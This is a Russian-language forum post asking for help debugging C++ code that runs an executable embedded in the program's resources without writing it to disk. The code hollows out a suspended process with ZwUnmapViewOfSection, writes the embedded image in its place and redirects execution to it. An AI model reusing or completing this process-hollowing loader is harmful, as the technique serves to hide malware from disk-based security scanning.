Доброе время суток!
- Пишу программу на 'Borland C++ Builder 6.0 SP4';
- Задача: Запустить программу 1.exe из ресурсов моей программу main.exe не извлекая её на диск.
- То есть, необходимо запустить программу main.exe, затем извлечь из ресурсов 1.exe заменяя память другого процесса, чтобы запустилась программа 1.exe;
- Данную схему вроде частично реализовал(Без переноса таблицы импорта и релоков).
# TRFR.cpp:#include "TRFR.h"
#include "Main.h"
//---------------------------------------------------------------------------
bool (*pNtdllFunc)(HANDLE, LPVOID);
//---------------------------------------------------------------------------
TRFR::TRFR()
{
// ----
}
//---------------------------------------------------------------------------
TRFR::~TRFR()
{
// ----
}
//---------------------------------------------------------------------------
bool __fastcall TRFR::ZwUnmapViewOfSection(HANDLE ProcessHandle, LPVOID BaseAddress)
{
bool Result = false;
// -----
try
{
HMODULE hNtdll = LoadLibrary("ntdll.dll");
if(hNtdll != NULL)
{
(FARPROC &)pNtdllFunc = GetProcAddress(hNtdll, "ZwUnmapViewOfSection");
pNtdllFunc(ProcessHandle, BaseAddress);
FreeLibrary(hNtdll);
Result = true;
}
}
catch(...) {}
// ----
return Result;
}
//---------------------------------------------------------------------------
ULONG __fastcall TRFR::Protect(ULONG characteristics)
{
const ULONG mapping[8] = {PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, PAGE_EXECUTE_READWRITE};
return mapping[characteristics >> 29];
}
//---------------------------------------------------------------------------
bool __fastcall TRFR::GetMemoryToSection(HANDLE hProcess, LPVOID Mapping, LPVOID pRes, USHORT NumberOfSections, PIMAGE_SECTION_HEADER pSection)
{
bool Result = true;
// ----
for (USHORT i = 0; i < NumberOfSections; i++)
{
Result = WriteProcessMemory(hProcess,
(LPVOID)(DWORD(Mapping) + pSection[i].VirtualAddress),
(LPCVOID)(DWORD(pRes) + pSection[i].PointerToRawData),
pSection[i].SizeOfRawData, NULL);
// ----
if(!Result) break;
}
// ----
return Result;
}
//---------------------------------------------------------------------------
DWORD __fastcall TRFR::RunFromResurs(LPTSTR ComLine, LPCTSTR ResName, LPCTSTR ResType)
{
bool Result = true;
DWORD pPID = 0;
// ----
PROCESS_INFORMATION pi;
STARTUPINFO si;
ZeroMemory(&pi, sizeof(pi));
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(STARTUPINFO);
// ----
PIMAGE_DOS_HEADER pDos = NULL;
PIMAGE_NT_HEADERS pNt = NULL;
PIMAGE_FILE_HEADER pFile = NULL;
PIMAGE_OPTIONAL_HEADER pOptional = NULL;
PIMAGE_SECTION_HEADER pSection = NULL;
// ----
LPVOID x = NULL, pRes = NULL, Mapping = NULL;
HANDLE hProcess = NULL;
HMODULE hInst = GetModuleHandle(NULL);
// ----
pRes = LockResource(LoadResource(hInst, FindResource(hInst, ResName, ResType)));
if(pRes != NULL)
{
pDos = PIMAGE_DOS_HEADER(pRes);
if (pDos->e_magic == IMAGE_DOS_SIGNATURE)
{
pNt = PIMAGE_NT_HEADERS(PCHAR(pRes) + pDos->e_lfanew);
if (pNt->Signature == IMAGE_NT_SIGNATURE)
{
pFile = &pNt->FileHeader;
pOptional = &pNt->OptionalHeader;
pSection = IMAGE_FIRST_SECTION(pNt);
// ----
Result = CreateProcess(NULL, ComLine, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
if(Result)
{
FMain->WLog("CreateProcess()");
hProcess = pi.hProcess;
pPID = pi.dwProcessId;
CONTEXT context;
context.ContextFlags = CONTEXT_FULL;
// ----
Result = GetThreadContext(pi.hThread, &context);
if(Result)
{
FMain->WLog("GetThreadContext()");
Result = ReadProcessMemory(pi.hProcess, (LPCVOID)(context.Ebx + 8), &x, sizeof(x), 0);
if (Result)
{
FMain->WLog("ReadProcessMemory()");
Result = ZwUnmapViewOfSection(pi.hProcess, x);
if(Result)
{
FMain->WLog("ZwUnmapViewOfSection()");
Mapping = VirtualAllocEx(pi.hProcess, (LPVOID)pOptional->ImageBase, pOptional->SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(Mapping != NULL)
{
FMain->WLog("VirtualAllocEx()");
SIZE_T bsize = 0;
DWORD previousProtection = 0;
Result = VirtualProtectEx(pi.hProcess, Mapping, pOptional->SizeOfHeaders, PAGE_EXECUTE_READWRITE, &previousProtection);
//FMain->WLog("VirtualProtectEx = '" + (String)(int)Result + "'");
Result = WriteProcessMemory(pi.hProcess, Mapping, (LPCVOID)pRes, pOptional->SizeOfHeaders, &bsize);
FMain->WLog("bsize = '" + (String)bsize + "'");
if(Result)
{
FMain->WLog("WriteProcessMemory()");
Result = GetMemoryToSection(pi.hProcess, Mapping, pRes, pFile->NumberOfSections, pSection);
if(Result)
{
FMain->WLog("GetMemoryToSection()");
Result = WriteProcessMemory(pi.hProcess, (LPVOID)(context.Ebx + 8), &Mapping, sizeof(Mapping), 0);
if(Result)
{
context.Eax = (ULONG)Mapping + pOptional->AddressOfEntryPoint;
// ----
SetThreadContext(pi.hThread, &context);
ResumeThread(pi.hThread);
}
}
}
else FMain->WLog("[WPM1] GetLastError = '" + (String)GetLastError() + "'");
}
else Result = false;
}
}
}
// ----
if(!Result && hProcess != NULL) TerminateProcess(hProcess, 0);
// ----
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
}
}
}
// -----
FreeResource(pRes);
// ----
return (Result) ? pPID : 0;
}
//---------------------------------------------------------------------------
# TRFR.h:#include <Windows.h>
#include <tlhelp32.h>
#include <stdio.h>
//---------------------------------------------------------------------------
class TRFR
{
private:
bool __fastcall ZwUnmapViewOfSection(HANDLE ProcessHandle, LPVOID BaseAddress);
ULONG __fastcall Protect(ULONG characteristics);
bool __fastcall GetMemoryToSection(HANDLE hProcess, LPVOID Mapping, LPVOID pRes, USHORT NumberOfSections, PIMAGE_SECTION_HEADER pSection);
public:
TRFR();
~TRFR();
DWORD __fastcall RunFromResurs(LPTSTR AppName, LPCTSTR ResName, LPCTSTR ResType);
};
//---------------------------------------------------------------------------
- Проблема в том, что если программу компилировать в режиме 'Debug', то всё нормально, запускается и выполняет свои функции, если скомпилировать в режиме 'Release', то на строчке 128:
Result = WriteProcessMemory(pi.hProcess, Mapping, (LPCVOID)pRes, pOptional->SizeOfHeaders, &bsize);
- GetLastError() выдаёт ошибку 0x05:
ERROR_ACCESS_DENIED
5
0x5
- Вроде использую VirtualProtectEx(), в общем что-то не могу сам допереть...
# Добавлено: У Borland есть удобный класс для извлечения из ресурсов 'TResourceStream', но он мне не очень нравится. (Это так, вода...)
P.S. -> Убедительно прошу, не нужно мне советовать следующее: А чем плох приём извлечения программы на диск с последующим запуском...
- Задача конкретно поставлена. (Файл не должен извлекаться из ресурсов)